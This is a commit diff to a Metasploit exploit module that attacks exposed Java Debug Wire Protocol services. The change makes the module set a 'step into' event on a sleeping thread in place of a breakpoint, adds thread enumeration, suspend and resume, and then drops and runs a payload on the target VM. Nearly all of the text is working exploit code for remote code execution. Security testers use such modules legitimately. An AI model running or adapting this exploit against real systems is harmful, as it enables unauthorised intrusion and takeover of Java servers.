Modify breakpoint approach by step into
parent
73536f2ac0
commit
4f67db60ed
|
@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
MODKIND_THREADONLY = 2
|
||||
MODKIND_CLASSMATCH = 5
|
||||
MODKIND_LOCATIONONLY = 7
|
||||
MODKIND_STEP = 10
|
||||
EVENT_BREAKPOINT = 2
|
||||
EVENT_STEP = 1
|
||||
SUSPEND_EVENTTHREAD = 1
|
||||
SUSPEND_ALL = 2
|
||||
NOT_IMPLEMENTED = 99
|
||||
|
@ -60,6 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
TYPE_CLASS = 1
|
||||
TAG_ARRAY = 91
|
||||
TAG_VOID = 86
|
||||
TAG_THREAD = 116
|
||||
STEP_INTO = 0
|
||||
STEP_MIN = 0
|
||||
THREAD_SLEEPING_STATUS = 2
|
||||
|
||||
|
||||
def initialize
|
||||
|
@ -322,6 +328,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
version.downcase =~ /1[.]8[.]/
|
||||
end
|
||||
|
||||
# Returns reference for all threads currently running on target VM
|
||||
def get_all_threads
|
||||
sock.put(create_packet(ALLTHREADS_SIG))
|
||||
response = read_reply
|
||||
num_threads = response.unpack('N').first
|
||||
response.slice!(0..3)
|
||||
|
||||
size = @vars["objectid_size"]
|
||||
num_threads.times do
|
||||
t_id = unformat(size, response[0..size-1])
|
||||
@threads[t_id] = nil
|
||||
response.slice!(0..size-1)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns reference types for all classes currently loaded by the target VM
|
||||
def get_all_classes
|
||||
return unless @classes.empty?
|
||||
|
@ -416,20 +437,54 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return classname, method
|
||||
end
|
||||
|
||||
# Resumes execution of the application after the suspend command or an event has stopped it
|
||||
def resume_vm
|
||||
sock.put(create_packet(RESUMEVM_SIG))
|
||||
response = read_reply
|
||||
# Gets the status of a given thread
|
||||
def thread_status(thread_id)
|
||||
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
buf = read_reply(datastore['BREAK_TIMEOUT'])
|
||||
unless buf
|
||||
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||
end
|
||||
status, suspend_status = buf.unpack('NN')
|
||||
|
||||
status
|
||||
end
|
||||
|
||||
# Resumes execution of the application or thread after the suspend command or an event has stopped it
|
||||
def resume_vm(thread_id = nil)
|
||||
if thread_id.nil?
|
||||
sock.put(create_packet(RESUMEVM_SIG))
|
||||
else
|
||||
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
end
|
||||
|
||||
response = read_reply(datastore['BREAK_TIMEOUT'])
|
||||
unless response
|
||||
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Suspend execution of the application or thread
|
||||
def suspend_vm(thread_id = nil)
|
||||
if thread_id.nil?
|
||||
sock.put(create_packet(SUSPENDVM_SIG))
|
||||
else
|
||||
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
end
|
||||
|
||||
response = read_reply
|
||||
unless response
|
||||
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
||||
def send_event(event_code, args)
|
||||
data = [event_code].pack('C')
|
||||
data << [SUSPEND_ALL].pack('C')
|
||||
data << [SUSPEND_EVENTTHREAD].pack('C')
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |kind,option|
|
||||
|
@ -473,15 +528,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
# Parses a received event and compares it with the expected
|
||||
def parse_event_breakpoint(buf, event_id)
|
||||
r_id = buf[6..9].unpack('N')[0]
|
||||
|
||||
return nil unless event_id == r_id
|
||||
|
||||
def parse_event_breakpoint(buf, event_id, thread_id)
|
||||
len = @vars["objectid_size"]
|
||||
return false if buf.length < 10 + len - 1
|
||||
|
||||
r_id = buf[6..9].unpack('N')[0]
|
||||
t_id = unformat(len,buf[10..10+len-1])
|
||||
|
||||
return r_id, t_id
|
||||
return (event_id == r_id) && (thread_id == t_id)
|
||||
end
|
||||
|
||||
# Clear a defined event request
|
||||
|
@ -729,39 +783,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
# Sets a breakpoint on frequently called method (user-defined)
|
||||
def set_breakpoint
|
||||
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
|
||||
|
||||
# 1. Gets reference of the method where breakpoint is going to be setted
|
||||
classname, method = str_to_fq_class(datastore['BREAKPOINT'])
|
||||
break_class = get_class_by_name(classname)
|
||||
unless break_class
|
||||
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application")
|
||||
# Set event for stepping into a running thread
|
||||
def set_step_event
|
||||
# 1. Select a thread in sleeping status
|
||||
t_id = nil
|
||||
@threads.each_key do |thread|
|
||||
if thread_status(thread) == THREAD_SLEEPING_STATUS
|
||||
t_id = thread
|
||||
break
|
||||
end
|
||||
|
||||
get_methods(break_class["reftype_id"])
|
||||
m = get_method_by_name(break_class["reftype_id"], method)
|
||||
unless m
|
||||
fail_with(Failure::BadConfig, "Method of Break Class not found")
|
||||
end
|
||||
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
|
||||
|
||||
# 2. Sends event request for this method
|
||||
loc = [TYPE_CLASS].pack('C')
|
||||
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
|
||||
loc << format(@vars["methodid_size"], m["method_id"])
|
||||
loc << [0,0].pack('NN')
|
||||
# 2. Suspend the thread before setting the event
|
||||
suspend_vm(t_id)
|
||||
|
||||
data = [[MODKIND_LOCATIONONLY, loc]]
|
||||
r_id = send_event(EVENT_BREAKPOINT, data)
|
||||
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
|
||||
step_info = format(@vars["objectid_size"], t_id)
|
||||
step_info << [STEP_MIN].pack('N')
|
||||
step_info << [STEP_INTO].pack('N')
|
||||
data = [[MODKIND_STEP, step_info]]
|
||||
|
||||
r_id = send_event(EVENT_STEP, data)
|
||||
unless r_id
|
||||
fail_with(Failure::Unknown, "Could not set the breakpoint")
|
||||
fail_with(Failure::Unknown, "Could not set the event")
|
||||
end
|
||||
|
||||
r_id
|
||||
return r_id, t_id
|
||||
end
|
||||
|
||||
|
||||
# Uploads & executes the payload on the target VM
|
||||
def exec_payload(thread_id)
|
||||
# 0. Fingerprinting OS
|
||||
|
@ -799,6 +849,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@vars = {}
|
||||
@classes = []
|
||||
@methods = {}
|
||||
@threads = {}
|
||||
@os = nil
|
||||
|
||||
connect
|
||||
|
@ -807,7 +858,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...")
|
||||
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
|
||||
get_sizes
|
||||
|
||||
print_status("#{peer} - Getting the version of the target VM...")
|
||||
|
@ -816,37 +867,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
|
||||
get_all_classes
|
||||
|
||||
print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...")
|
||||
r_id = set_breakpoint
|
||||
print_status("#{peer} - Getting all running threads in the target VM...")
|
||||
get_all_threads
|
||||
|
||||
print_status("#{peer} - Setting 'step into' event...")
|
||||
r_id, t_id = set_step_event
|
||||
|
||||
print_status("#{peer} - Resuming VM and waiting for an event...")
|
||||
resume_vm
|
||||
response = resume_vm(t_id)
|
||||
|
||||
secs = datastore['BREAK_TIMEOUT']
|
||||
ret = ""
|
||||
unless parse_event_breakpoint(response, r_id, t_id)
|
||||
datastore['NUM_RETRIES'].times do |i|
|
||||
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
|
||||
if datastore['BREAKPOINT_PORT'] && datastore['BREAKPOINT_PORT'] > 0
|
||||
force_net_event
|
||||
end
|
||||
buf = read_reply(secs)
|
||||
ret = parse_event_breakpoint(buf, r_id)
|
||||
break unless ret.nil?
|
||||
end
|
||||
print_status("#{peer} - Received #{i+1} responses that are not a 'step into' event...")
|
||||
buf = read_reply
|
||||
break if parse_event_breakpoint(buf, r_id, t_id)
|
||||
|
||||
r_id, t_id = ret
|
||||
if i == datastore['NUM_RETRIES']
|
||||
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Received matching event from thread #{t_id}")
|
||||
|
||||
print_status("#{peer} - Deleting breakpoint...")
|
||||
clear_event(EVENT_BREAKPOINT, r_id)
|
||||
print_status("#{peer} - Deleting step event...")
|
||||
clear_event(EVENT_STEP, r_id)
|
||||
|
||||
print_status("#{peer} - Dropping and executing payload...")
|
||||
exec_payload(t_id)
|
||||
|
||||
print_status("#{peer} - Resuming the target VM, just in case...")
|
||||
resume_vm
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue